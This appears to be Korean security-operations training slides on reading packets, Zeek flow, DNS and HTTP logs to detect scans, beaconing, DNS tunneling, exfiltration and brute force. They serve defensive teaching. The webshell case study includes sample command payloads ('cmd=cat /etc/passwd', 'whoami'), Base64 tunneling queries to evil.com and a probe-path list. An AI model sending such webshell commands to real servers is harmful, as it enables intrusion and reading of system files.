패킷 구조 Flow 8개 필드 Wireshark 기초 NetFlow / Zeek Flow 이상 탐지

보강 설명패킷 구조와 Flow 분석 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

패킷은 네트워크의 최소 단위다

패킷을 읽을 줄 알면 통신의 세부 의미를 더 세밀하게 해석할 수 있다

PART 4 · 패킷 & Flow

패킷에 담긴 정보

출발지 주소: Source IP + Source Port
목적지 주소: Destination IP + Destination Port
프로토콜: TCP / UDP / ICMP 등
플래그: SYN, ACK, FIN, RST (TCP의 경우)
Payload: 실제 전송 데이터 (일부 또는 전체)
순서번호: Sequence Number (TCP 재조립용)

💡 분석 목적은 모든 바이트를 읽는 것이 아니라
이 패킷이 흐름 속에서 왜 존재하는지를 이해하는 것

🔎 Wireshark에서 패킷 1줄 읽기

No.  Time Source Destination Protocol Length Info
 1  0.000000 192.168.1.10 142.250.185.78 TCP 60 51234 → 443 [SYN]

■ Source: 내부 사용자 PC

■ Destination: Google 서버 (142.250.x)

■ Protocol: TCP

■ Info: 443으로 SYN → HTTPS 접속 시작

이 한 줄만으로도 누가(192.168.1.10) 어디로(Google) 어떤 목적(HTTPS 시작)을 알 수 있다

SYN 패킷

연결 시작 시도

DNS Query

목적지 탐색 시작

대량 SYN

Port Scan 의심

패킷 구조: Ethernet / IP / TCP(UDP) / Payload

패킷은 한 겹이 아니라 여러 계층이 겹쳐진 구조다. 계층을 알면 어디에서 무엇을 읽어야 할지 보인다.

PART 4 · 패킷 & Flow

🔗 Ethernet Header (링크 계층)

MAC 주소 (물리 주소) — 같은 네트워크 내 이동에 사용

🌐 IP Header (네트워크 계층)

Source IP / Destination IP — 출발지/목적지 주소, TTL, Protocol

📋 TCP/UDP Header (전송 계층)

포트, Flags, Sequence Number — 서비스 구분, 연결 상태

📄 Payload (애플리케이션 데이터)

HTTP Method, DNS Query, 실제 전송 데이터 — 행위 의도

계층별 분석 목적

계층	읽어야 할 것	분석 활용
IP	Src/Dst IP, TTL	출발지/목적지 식별
TCP/UDP	포트, Flags	서비스, 연결 상태
Application	DNS Query, HTTP URL	행위 의도 파악
Payload	실제 데이터	암호화 시 불가

💡 현실적 조언: HTTPS/TLS 암호화로 Payload는 대부분 읽을 수 없다. 그래도 IP, Port, 타이밍, 크기 패턴으로 충분한 분석이 가능하다.

Flow는 네트워크의 요약본이다

실제 SOC에서는 모든 패킷을 직접 열어보기보다, 요약된 연결 정보를 먼저 보고 이상한 흐름을 골라낸다

PART 4 · 패킷 & Flow

Flow 한 줄에 담긴 것

ts=2024-07-12T03:12:44 src_ip=10.0.0.22 src_port=49201 dst_ip=203.0.113.88 dst_port=443 proto=TCP duration=3h42m bytes_out=2.3GB bytes_in=48KB conn_state=SF service=ssl

→ DB서버가 외부와 3.7시간 + 2.3GB 업로드 → 유출 조사

Flow의 장점

대량 환경에서 효율적 (패킷 대비 1/1000 수준)
패턴, 방향성, 반복성, 세션 길이 분석에 유리
이상 트래픽을 빠르게 솎아낼 수 있음
장기 보존이 상대적으로 용이

📊 Flow 소스별 특징

NetFlow / IPFIX

라우터/스위치에서 생성. 5-tuple + 바이트/패킷 수. 인프라 표준.

Zeek (Bro) conn.log

패킷에서 직접 추출. 더 풍부한 메타데이터. conn_state, service 포함.

Firewall / IDS Log

정책 매칭 정보 포함. Allow/Deny, 규칙 번호. 접근 통제 맥락.

SIEM 집계 Flow

여러 소스를 정규화하여 통합. 자산 정보, GeoIP Enrichment 포함.

Flow에서 읽어야 할 핵심 필드 8개

Flow를 잘 읽는다는 것은, 많아 보이는 필드 중 실제 판단에 중요한 것을 먼저 볼 줄 안다는 뜻이다

PART 4 · 패킷 & Flow

① Source IP

행위자 식별. 내부/외부 구분. 자산 역할 확인

② Dest IP

목적지 식별. 알려진 서비스? 신규 외부? 희귀 국가?

③ Dest Port

서비스 종류 추정. 22, 53, 80, 443, 3389 역할

④ Protocol

TCP/UDP/ICMP. 프로토콜 조합이 맞는가?

⑤ Start/End Time

업무시간? 야간? 주말? 특정 사건과 겹치는가?

⑥ Duration

장기 세션 = C2/유출 의심. 짧은 반복 = 스캔/비콘

⑦ Bytes In/Out

Upload >> Download → 유출 의심. 방향성 분석

⑧ Conn State

SF/S0/REJ — 연결 완료? 실패? 거부?

보조 강화 필드 (다음 단계에서 붙이기)

GeoIP / ASN Reputation Score Asset Tag (CMDB) User Account Action (Allow/Deny) Application / Service

보조 필드는 8개 핵심 필드로 방향을 잡은 후에 강화(Enrichment)한다

Flow 이상 탐지 실전 예시 3가지

같은 Flow 형식이라도 어떤 필드가 어떻게 조합되느냐에 따라 해석이 달라진다

PART 4 · 패킷 & Flow

케이스 1 Port Scan 패턴

1초 이내에 아래 Flow가 동시 발생: 203.0.113.88 → 10.0.0.10:22 S0 0B 203.0.113.88 → 10.0.0.10:80 REJ 0B 203.0.113.88 → 10.0.0.10:443 SF 0B 203.0.113.88 → 10.0.0.10:3389S0 0B ... 포트 1-65535 순차 시도

이상 신호: 같은 Src → 동일 Dst, 다수 Port, 1초 내, Bytes=0, conn_state=S0/REJ
→ Port Scan → Escalation 검토

케이스 2 C2 Beaconing 패턴

10.0.0.22:443 → 203.0.113.99 dur=4s 512B/256B (정확히 5분 후) 10.0.0.22:443 → 203.0.113.99 dur=4s 511B/255B (정확히 5분 후) 10.0.0.22:443 → 203.0.113.99 dur=4s 513B/257B 24시간 동안 반복... 사용자는 잠든 시간

이상 신호: 5분 간격 규칙성, 짧은 Duration, 비슷한 Bytes, 새벽에도 지속
→ Beaconing → 악성코드 감염 조사

케이스 3 Data Exfiltration 패턴

평소: bytes_out=~5MB/일 이상 발생일 (토요일 새벽 02:00): 10.0.0.30 → dropbox.com:443 bytes_out=8.7GB bytes_in=2KB duration=4h 23m conn_state=SF

이상 신호: Upload 8.7GB (평소 대비 1740배), 주말 새벽, Dropbox 외부 스토리지
→ Exfiltration 의심 → 즉시 조사

Wireshark 기초: 패킷 분석의 현미경

Wireshark는 패킷 세부 내용을 보는 최후 수단이다. 필터를 잘 써야 원하는 것만 볼 수 있다.

PART 4 · 패킷 & Flow

핵심 디스플레이 필터

# 특정 IP 관련 패킷만 ip.addr == 203.0.113.88 # 특정 포트만 tcp.port == 443 # DNS 쿼리만 dns.flags.response == 0 # SYN 패킷만 (스캔 탐지) tcp.flags.syn==1 and tcp.flags.ack==0 # HTTP GET 요청만 http.request.method == "GET" # 500 에러 응답 http.response.code >= 500

Follow Stream 활용

패킷 우클릭 → Follow → TCP Stream
하나의 세션 전체 대화를 연속해서 볼 수 있음
HTTP라면 요청/응답 내용이 텍스트로 보임
TLS/HTTPS는 암호화로 내용 불가, 메타데이터만

실무 조언

pcap 파일 열기 전에 타임라인을 파악하고 시작
전체를 다 보려 하지 말고 의심 구간만 필터링
Statistics → Conversations에서 대화 목록 빠르게 확인

Wireshark는 마지막 수단. Flow와 SIEM으로 의심 구간을 좁힌 후 pcap을 연다. 처음부터 Wireshark를 켜는 것은 비효율적이다.

Zeek conn.log 구조 이해하기

Zeek는 패킷에서 의미 있는 메타데이터를 추출하여 분석가가 빠르게 이상을 찾도록 돕는다

PART 4 · 패킷 & Flow

#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p proto service duration orig_bytes resp_bytes conn_state 1720746764 CXnV2c... 10.0.0.22 49201 203.0.113.88 443 tcp ssl 13422.0 2.3e+09 48672 SF 1720746764 CTqnm7... 10.0.0.10 54210 203.0.113.50 443 tcp ssl 0.8 1240 284000 SF 1720747164 CBhY8x... 203.0.113.88 49200 10.0.0.10 22 tcp ssh 0.1 64 0 S0

주요 필드 해석

ts: Unix timestamp (연결 시작 시각)

id.orig_h/p: 출발지 IP와 포트

id.resp_h/p: 목적지 IP와 포트

duration: 세션 지속 시간 (초)

orig_bytes: 출발지→목적지 바이트 (Upload)

resp_bytes: 목적지→출발지 바이트 (Download)

conn_state 빠른 해석표

State	의미	SOC 의미
SF	정상 완료	SYN→FIN 정상
S0	SYN만 보냄	응답 없음(스캔)
REJ	연결 거부	포트 닫힘/차단
RSTO	발신자 RST	강제 종료
OTH	중간 캡처	완전한 세션 아님

🔍 1번 줄 해석: 10.0.0.22가 203.0.113.88:443으로 3.7시간(13422초) 동안 2.3GB 업로드 + 48KB 수신 → 데이터 유출 강력 의심

DNS 분석

모든 공격은 DNS를 쓴다. DNS 로그는 목적지의 단서를 가장 먼저 드러낸다.

예상 시간: 85분

DNS 동작 원리 Query / Response NXDOMAIN DGA DNS Tunneling 이상 탐지 8개

보강 설명DNS 분석 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

DNS는 왜 SOC에서 중요한가

공격자도 인터넷을 쓰려면 DNS를 써야 한다. DNS 로그는 C2, DGA, 터널링의 단서를 가장 먼저 드러낸다.

PART 5 · DNS 분석

모든 인터넷 접속은 DNS부터

웹 브라우저 주소 입력 → DNS 조회 → IP 받아옴 → 연결
악성코드 C2 통신 → C2 도메인 DNS 조회 먼저
DGA 악성코드 → 매번 새 도메인 → DNS 대량 NXDOMAIN
DNS Tunneling → DNS 쿼리 안에 데이터 숨겨 전송

DNS 없이는 알 수 없는 것들

IP 주소만 보면 목적지 서비스를 알기 어렵다
DNS 로그를 보면 어떤 이름을 조회했는지 알 수 있다
Threat Intel과 도메인 이름으로 교차 확인 가능
차단된 도메인도 조회 시도 자체가 감염 단서

🎯 DNS 로그로 탐지 가능한 공격 유형

🎯

C2 통신

악성 도메인 조회 → IP 획득 → 연결

🎲

DGA (도메인 생성 알고리즘)

랜덤 도메인 대량 NXDOMAIN

🚇

DNS Tunneling

TXT/CNAME 레코드에 데이터 삽입

🔍

내부 정찰

내부 호스트명 대량 조회

DNS 로그는 네트워크 분석에서 가장 먼저 봐야 하는 로그 중 하나다. 목적지를 이름으로 알 수 있는 유일한 창구.

DNS 동작 원리: 질의에서 응답까지

정상 DNS 흐름을 알아야 이상한 흐름을 알아챌 수 있다

PART 5 · DNS 분석

🔄 정상 DNS 조회 흐름

🖥️ Client
10.0.0.5

① Query
www.google.com?

→

📡 Resolver
10.0.0.1

② 재귀 조회

→

🌍 Root DNS

③ .com TLD

→

🌐 Auth DNS
google.com

④ 142.250.x.x

←

🖥️ Client
⑤ 접속!

주요 DNS 레코드 타입

타입	의미	SOC 활용
A	도메인 → IPv4	가장 기본 조회
AAAA	도메인 → IPv6	IPv6 탐지
MX	메일 서버	이메일 경로 확인
TXT	텍스트 정보	Tunneling 악용 가능
CNAME	별칭(Alias)	CDN/도메인 위장

SOC 분석 포인트

클라이언트가 조회하는 내부 Resolver 이외의 DNS 사용 시 주의 (DNS 우회)
TXT 레코드 대량 조회 → DNS Tunneling 의심
같은 도메인의 짧은 TTL + 자주 바뀌는 IP → Fast Flux
응답 IP가 Threat Intel에 등재된 경우 즉시 조사

Zeek dns.log 한 줄 읽기

dns.log는 DNS 패킷을 메타데이터로 요약한 분석 친화적 로그다. 이 한 줄에서 공격 단서를 찾는다.

PART 5 · DNS 분석

#fields ts uid id.orig_h id.resp_h proto qtype qtype_name query rcode rcode_name answers 1720746764 Cxy... 10.0.0.22 10.0.0.1 udp 1 A update-check.evil.top 0 NOERROR 203.0.113.99 1720750000 Czz... 10.0.0.10 10.0.0.1 udp 1 A xk3p9mq2.randomdga.biz 3 NXDOMAIN - 1720751000 Cww... 10.0.0.15 8.8.8.8 udp 16 TXT aW1wb3J0YW50ZGF0YQ.evil.com 0 NOERROR ok

✅ 1번 줄 해석

10.0.0.22 → update-check.evil.top 조회
응답: 203.0.113.99 (외부 IP)
NOERROR = 도메인 존재함
→ 악성 도메인 C2 조회 의심

⚠️ 2번 줄 해석

10.0.0.10 → xk3p9mq2.randomdga.biz
NXDOMAIN = 도메인 없음
이런 패턴이 초당 수십 개 발생
→ DGA 악성코드 의심

🚨 3번 줄 해석

10.0.0.15 → 내부 DNS 아닌 8.8.8.8 직접 사용
TXT 레코드 조회 (qtype=16)
서브도메인: Base64처럼 보이는 긴 문자열
→ DNS Tunneling 강력 의심

📌 핵심 필드 3개

query (어떤 이름을 물었나) + rcode_name (답이 있었나) + answers (어떤 IP가 왔나)

NXDOMAIN 폭발 = DGA 악성코드 의심

존재하지 않는 도메인(NXDOMAIN)이 대량으로 발생하면, 악성코드가 C2를 찾기 위해 도메인을 생성하고 있을 가능성이 있다

PART 5 · DNS 분석

DGA(Domain Generation Algorithm)란

악성코드가 날짜 + 시드값으로 도메인을 매일 자동 생성
공격자도 같은 알고리즘으로 그날의 도메인을 미리 등록
보안팀이 도메인 하나를 차단해도, 다음날 다른 도메인 사용
대부분의 생성 도메인은 미등록 → NXDOMAIN 폭발

DGA 도메인 특징

xk3p9mq2tlv.biz → NXDOMAIN q7vn2kp1wme.biz → NXDOMAIN a9jn3mp6qrx.biz → NXDOMAIN k2tn8xp5vqa.biz → NOERROR (오늘의 C2!)

무의미한 문자열, .biz/.top/.xyz 등 비신뢰 TLD 다수

📊 정상 vs DGA 비교

구분	정상	DGA 의심
도메인 모양	의미 있는 단어	랜덤 자음/모음
NXDOMAIN 비율	낮음 (<5%)	매우 높음 (>90%)
조회 빈도	사용자 행동 기반	기계적 고빈도
도메인 길이	짧고 의미 있음	12-20자 랜덤
TLD	.com/.kr/.net	.biz/.xyz/.top

🔍 탐지 기준: 1분 내 NXDOMAIN 10개 이상 + 동일 패턴 TLD → DGA 조사

⚠️ NXDOMAIN 단독으로는 오탐 가능 (오타 포함). 빈도 + 도메인 패턴 + 시간대를 함께 봐야 DGA라고 판단할 수 있다.

DNS Tunneling: 데이터를 DNS로 빼낸다

방화벽이 HTTP는 막아도 DNS는 허용한다. 공격자는 이 허점을 이용해 DNS 쿼리에 데이터를 숨겨 통신한다.

PART 5 · DNS 분석

DNS Tunneling 동작 원리

전송할 데이터를 Base64 인코딩 → 서브도메인에 삽입
aW1wb3J0YW50ZGF0YQ.evil.com 형태로 조회
공격자 DNS 서버가 쿼리를 받아 데이터 추출
응답 TXT 레코드로 명령 전송 가능 (양방향)
방화벽이 DNS를 허용하므로 우회에 효과적

정상 DNS 서브도메인

www.google.com mail.company.com api.v2.service.com

짧고, 의미 있는 단어

DNS Tunneling 의심 도메인

aW1wb3J0YW50ZGF0YQ==.evil.com SGVsbG8gV29ybGQK.evil.com TXT c2Vuc2l0aXZlZGF0YQ.evil.com TXT

Base64처럼 보이는 긴 서브도메인 + TXT 레코드

DNS Tunneling 탐지 신호

서브도메인 길이 > 50자
TXT 레코드 대량 조회
내부 DNS 아닌 외부 DNS 직접 사용 (8.8.8.8)
DNS 트래픽 양이 평소보다 급격히 증가
동일 도메인으로 높은 빈도 반복 조회

DNS 이상 탐지 체크리스트 8가지

단일 이벤트보다 여러 신호가 겹칠수록 판단의 확신이 높아진다. 체크리스트로 복합 신호를 확인한다.

PART 5 · DNS 분석

① 알 수 없는 도메인

Threat Intel 조회 또는 평판 없는 신규 도메인

② NXDOMAIN 폭발

1분에 NXDOMAIN 10개 이상. DGA 의심.

③ 긴 서브도메인

50자 이상의 서브도메인. Tunneling 의심.

④ TXT 레코드 대량

TXT 조회가 비정상적으로 많음. 데이터 은닉.

⑤ 외부 DNS 직접 사용

8.8.8.8, 1.1.1.1 직접 사용. 내부 정책 우회.

⑥ 비정상 TLD

.xyz .top .biz 등 비신뢰 TLD 집중 사용.

⑦ Fast Flux

같은 도메인의 IP가 수분마다 바뀜. 탐지 회피.

⑧ 응답 IP가 블랙리스트

DNS 응답 IP가 Threat Intel에 등재된 경우.

복합 신호 판단 원칙

체크리스트 항목이 3개 이상 동시에 해당되면 → 적극적 조사. 1개만 해당되면 → 추가 관찰. 항상 다른 로그(Flow, Firewall, EDR)와 교차 확인.

DNS 케이스 스터디: C2 Beaconing 탐지

DNS 단독으로는 애매했던 신호가 Flow와 EDR을 겹쳐보니 확신이 생긴다

PART 5 · DNS 분석

단서 1: DNS Log

07/12 03:00:00 update-check.evil.top A 07/12 03:05:00 update-check.evil.top A 07/12 03:10:00 update-check.evil.top A 정확히 5분 간격, 24시간 지속

⚠️ 의심 신호: 규칙적 반복 + evil.top 도메인

단서 2: Flow Log

10.0.0.22 → 203.0.113.99:443 duration=4s bytes_out=512B bytes_in=256B conn_state=SF 5분 간격 반복, 사람 없는 시간대

⚠️ 의심 신호: 짧은 세션 + 규칙성 + 소량 데이터

단서 3: EDR

Process: svchost.exe (가짜) Parent: explorer.exe Network: 203.0.113.99:443 Hash: VirusTotal 40/70 탐지

🚨 확정 신호: 악성 프로세스 + C2 IP

📝 판단 문장 (Fact + Pattern + Context + Action)

[Fact] 내부 호스트 10.0.0.22가 07/12 03:00부터 24시간 동안 update-check.evil.top 도메인을 5분 간격으로 DNS 조회하고 203.0.113.99:443 세션을 반복 수립함.
[Pattern] 비업무 시간대 규칙적 반복 + 짧은 세션 + 소량 데이터 → Beaconing 패턴.
[Context] EDR에서 해당 호스트 svchost.exe 위장 악성 프로세스 탐지. VirusTotal 40/70.
[Action] 해당 호스트 격리, 악성코드 분석, C2 IP/도메인 IOC 등록, 동일 패턴 전체 확산 조사.

HTTP / HTTPS 분석

HTTP는 행위가 보이고, HTTPS는 행위가 숨겨진다. 둘 다 읽을 수 있어야 한다.

예상 시간: 80분

HTTP Method Status Code User-Agent 웹 스캐닝 TLS 메타데이터

보강 설명HTTP / HTTPS 분석 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

HTTP 요청/응답 구조 이해

HTTP는 Method + URL + Status Code로 어떤 행위가 일어났는지 읽을 수 있는 가장 설명력 높은 프로토콜이다

PART 6 · HTTP/HTTPS

📤 HTTP 요청 (Request)

POST /api/upload HTTP/1.1
Host: target-server.com
User-Agent: Mozilla/5.0 ...
Content-Type: application/json
Content-Length: 8923648
[Body: 전송 데이터]

📥 HTTP 응답 (Response)

HTTP/1.1 200 OK
Server: Apache/2.4
Content-Type: text/html
[Body: HTML 내용]

핵심 HTTP Method

Method	의미	SOC 관점
GET	리소스 조회	정상 + 스캐닝
POST	데이터 전송	데이터 업로드
PUT	파일 업로드	WebShell 업로드
DELETE	삭제	삭제 시도
OPTIONS	허용 메서드 조회	스캐닝 전조

💡 SOC 분석 순서: Method → URL → Status Code
이 세 가지가 잡히면 행위 의도의 80%가 보인다

HTTP 상태코드로 행위를 읽는다

상태코드는 서버의 반응이다. 어떤 코드가 어느 비율로 발생하는지가 공격 여부를 가늠하는 핵심 단서다.

PART 6 · HTTP/HTTPS

코드	의미	SOC 해석
200	성공	정상. 대량이면 스캔 성공 가능
301/302	리다이렉트	피싱 리다이렉션 확인
400	잘못된 요청	자동화 도구 요청 패턴
401	인증 필요	인증 우회 시도 반복
403	접근 금지	접근 통제 탐색
404	없는 페이지	웹 스캐닝 (급증 시)
500	서버 에러	익스플로잇 시도 반응
503	서비스 불가	DDoS 부하 가능

웹 스캐닝 패턴

1초에 아래 패턴 반복: GET /admin → 403 GET /wp-admin → 404 GET /phpmyadmin → 404 GET /.env → 404 GET /shell.php → 404

404 급증 + URL 다양성 + 동일 Src IP = 자동 스캐닝

정상 브라우징 패턴

200 OK가 90% 이상. URL이 비교적 일관됨. 사람이 만든 자연스러운 탐색 흐름.

⚠️ 404 단독으로는 오탐 많음. 1분에 100개 이상 + URL 패턴 다양 + 단일 Src IP일 때 스캐닝으로 판단 강화.

User-Agent와 Referer로 행위자 특성 읽기

User-Agent는 자신을 소개하는 정보다. 이상한 UA는 이상한 클라이언트를 암시한다. 단독 판단은 금물.

PART 6 · HTTP/HTTPS

User-Agent란

HTTP 요청 헤더의 하나. 클라이언트가 자신을 소개
브라우저, OS, 버전 정보 포함
변조 가능하므로 단독 판단 금지
하지만 다른 신호와 함께 쓰면 맥락 강화

이상 User-Agent 패턴

빈 User-Agent: 자동화 스크립트 가능성
Python/curl/Nmap 노출: 자동화 도구
존재하지 않는 브라우저 버전: 위장 가능성
대량 요청 + 단일 이상한 UA: 스캐너

🔍 User-Agent 예시 비교

✅ 정상 브라우저

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/125.0

⚠️ 자동화 도구 노출

python-requests/2.28.0

curl/7.88.1

🚨 스캐너 패턴

Nmap Scripting Engine

sqlmap/1.7 (https://sqlmap.org)

⚠️ 비어있는 UA

(빈 문자열 또는 "-")

💡 User-Agent는 다른 신호를 강화하는 보조 단서다. UA 단독으로 "악성"이라고 판단하면 오탐이 많다.

HTTPS는 내용이 안 보이지만 메타데이터는 보인다

TLS로 암호화되어 Payload는 읽을 수 없지만, 인증서·JA3·타이밍·크기 패턴은 여전히 분석 가능하다

PART 6 · HTTP/HTTPS

TLS에서 볼 수 있는 것들

SNI (Server Name Indication): 접속 도메인 이름 (암호화 전에 전송)
인증서 정보: 발급 기관, 도메인, 만료일
JA3 Fingerprint: 클라이언트 TLS 설정 지문
세션 크기, 타이밍: 암호화된 내용의 행동 패턴

HTTPS 이상 신호

자체 서명(Self-signed) 인증서 사용 → C2 의심
인증서 만료 도메인 접속 → 이상
알려진 악성 JA3 Fingerprint
SNI와 실제 인증서 도메인 불일치
규칙적인 패턴 + HTTPS → Beaconing 가능

🔍 Zeek ssl.log 핵심 필드

server_name=update-check.evil.top issuer=Self-Signed (Unknown CA) subject=CN=*.evil.top validation_status=self signed certificate ja3=a0e9f5d64349fb13191bc781f81f42e1

🚨 Self-signed 인증서 + evil.top + 의심 JA3
→ C2 통신 강력 의심

💡 JA3는 TLS Handshake의 클라이언트 설정을 MD5로 해시한 값. 악성 툴킷별 JA3 DB와 비교 가능.

HTTPS는 내용을 숨기지만, 행동 패턴은 숨기지 못한다. 타이밍, 크기, 인증서, SNI가 여전히 분석 재료다.

웹쉘 탐지 케이스 스터디

웹쉘은 HTTP 트래픽에서 비정상 URL + POST 패턴 + 짧지만 주기적인 세션으로 드러날 수 있다

PART 6 · HTTP/HTTPS

웹쉘(WebShell)이란

서버에 업로드된 악성 스크립트 파일 (.php, .asp, .jsp)
HTTP 요청을 통해 서버에서 명령 실행
방화벽이 80/443을 허용하므로 탐지가 어렵다
공격자 입장에서는 원격 관리 접근권

웹쉘 사용 패턴

POST /images/thumbs/mini.php 200 Content: cmd=whoami&pass=secret123 POST /images/thumbs/mini.php 200 Content: cmd=cat /etc/passwd POST /images/thumbs/mini.php 200 Content: cmd=ls -la /home

이미지 폴더의 .php 파일 + POST + 명령 실행

웹쉘 탐지 신호

이미지/업로드 폴더에서 .php/.asp 요청
비정상 경로의 POST 요청 반복
요청은 작은데 응답이 의외로 큼 (명령 출력)
외부 IP → 서버 직접 POST (역방향 통신)
동일 URL로 짧은 간격 반복 접근

💡 탐지 전략: IDS 시그니처 + Proxy 로그에서 /images/.php 패턴 규칙 + EDR에서 웹서버 프로세스의 자식 프로세스 생성 모니터링

📌 핵심 원칙

HTTP는 가장 풍부한 행위 정보를 제공하는 프로토콜이다. Method + URL + Status Code + UA를 함께 읽으면 대부분의 웹 기반 공격 패턴이 보인다.

대표 공격 패턴 분석

Port Scan · Brute Force · Beaconing · Exfiltration — 네 가지 패턴을 타임라인으로 재구성한다

예상 시간: 85분

Port Scan Brute Force Beaconing Data Exfiltration 복합 공격 타임라인

보강 설명대표 공격 패턴 분석 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

Port Scan: 정찰의 흔적을 읽는다

공격자는 침입 전 어떤 포트가 열려 있는지 먼저 확인한다. 이 흔적을 빠르게 포착하는 것이 핵심이다.

PART 7 · 공격 패턴

Port Scan 특징

동일 Source IP가 다수 포트에 SYN 전송
짧은 시간 내 대량 연결 시도
대부분 응답 없음 (S0) 또는 거부 (REJ)
Bytes = 0 (데이터 전송 없음)
사람이 만들 수 없는 속도와 규칙성

Scan 종류별 특징

종류	방식	탐지 단서
SYN Scan	SYN만 보내고 RST	S0/REJ 대량
Full Scan	3-way 완성 후 RST	빠른 SF 후 RST
UDP Scan	UDP로 포트 탐색	ICMP Port Unreach
Service Scan	특정 포트만 조사	SSH/RDP 집중

📋 실제 Flow 패턴

03:21:44.001 203.0.113.88→10.0.0.10:22 S0 0B 03:21:44.002 203.0.113.88→10.0.0.10:23 REJ 0B 03:21:44.003 203.0.113.88→10.0.0.10:25 REJ 0B 03:21:44.004 203.0.113.88→10.0.0.10:80 SF 0B 03:21:44.005 203.0.113.88→10.0.0.10:443SF 0B ... 0.001초 간격으로 65535 포트까지

🚨 이상 신호: 동일 Src, 다수 Dst Port, 1ms 간격, Bytes=0

💡 SF인 포트(80, 443)가 열린 포트 → 다음 단계 공격 대상

Port Scan

→

열린 포트 식별

→

서비스 탐지

→

Brute Force / Exploit

Brute Force: 반복 실패에서 성공으로 이어지는 패턴

Brute Force 자체보다 성공 직후의 행동이 더 위험하다. 실패 패턴을 포착해서 성공을 막아야 한다.

PART 7 · 공격 패턴

Brute Force 특징

동일 서비스로 반복적인 인증 시도
짧은 Duration + 많은 실패 → 자동화 특성
단일 계정 반복 (Brute Force) vs 다계정 한 번씩 (Password Spray)
성공 직후 행동 변화가 핵심 위협 신호

SSH Brute Force 로그

10:15:01 SSH root FAIL from 203.x.x.88 10:15:03 SSH root FAIL from 203.x.x.88 10:15:05 SSH admin FAIL from 203.x.x.88 10:15:07 SSH ubuntu FAIL from 203.x.x.88 10:16:22 SSH admin SUCCESS from 203.x.x.88 성공 직후 → 명령 실행 시작!

⚠️ 탐지 임계값 기준 (예시)

관찰5분 내 5회 실패 → 로그 수집 강화모니터링

주의5분 내 20회 실패 → SIEM Alert1차 조사

위험성공 1건 + 직전 실패 다수 → Escalation즉시 대응

🔍 성공 후 봐야 할 것:
① 새 세션에서 어떤 명령 실행했나?
② 내부 다른 서버로 이동했나?
③ 파일 다운로드/업로드가 있었나?

⚠️ Password Spray: 계정별 1회 시도라 임계값을 피함. 동일 Src IP에서 다수 계정으로 단 1회씩 → 계정 분산 브루트포스.

Beaconing: 사람이 만들 수 없는 규칙성

악성코드가 주기적으로 C2 서버에 체크인하는 신호. 규칙적 반복 + 비업무 시간대 + 소량 데이터가 특징이다.

PART 7 · 공격 패턴

Beaconing 패턴 특징

규칙적인 시간 간격: 5분, 10분, 30분 단위
짧은 세션 Duration: 수초 이내
소량 바이트: 수백 ~ 수 KB 수준
비업무 시간대에도 지속: 새벽, 주말
동일 목적지: 항상 같은 IP/도메인
Jitter: 약간의 시간 변동으로 탐지 회피 시도

💡 Jitter란: 정확한 5분 대신 4분 58초 ~ 5분 12초처럼 약간의 무작위 변동을 추가해 탐지를 우회하는 기법. 그래도 통계적으로 규칙성이 남는다.

📊 Beaconing vs 정상 통신 비교

특성	정상 통신	Beaconing
시간 패턴	사용자 행동 기반	기계적 규칙성
비업무 시간	거의 없음	24시간 지속
바이트 크기	다양함	매번 비슷
목적지	다양한 SaaS/CDN	단일/소수 IP
Duration	내용에 따라 다양	항상 짧음

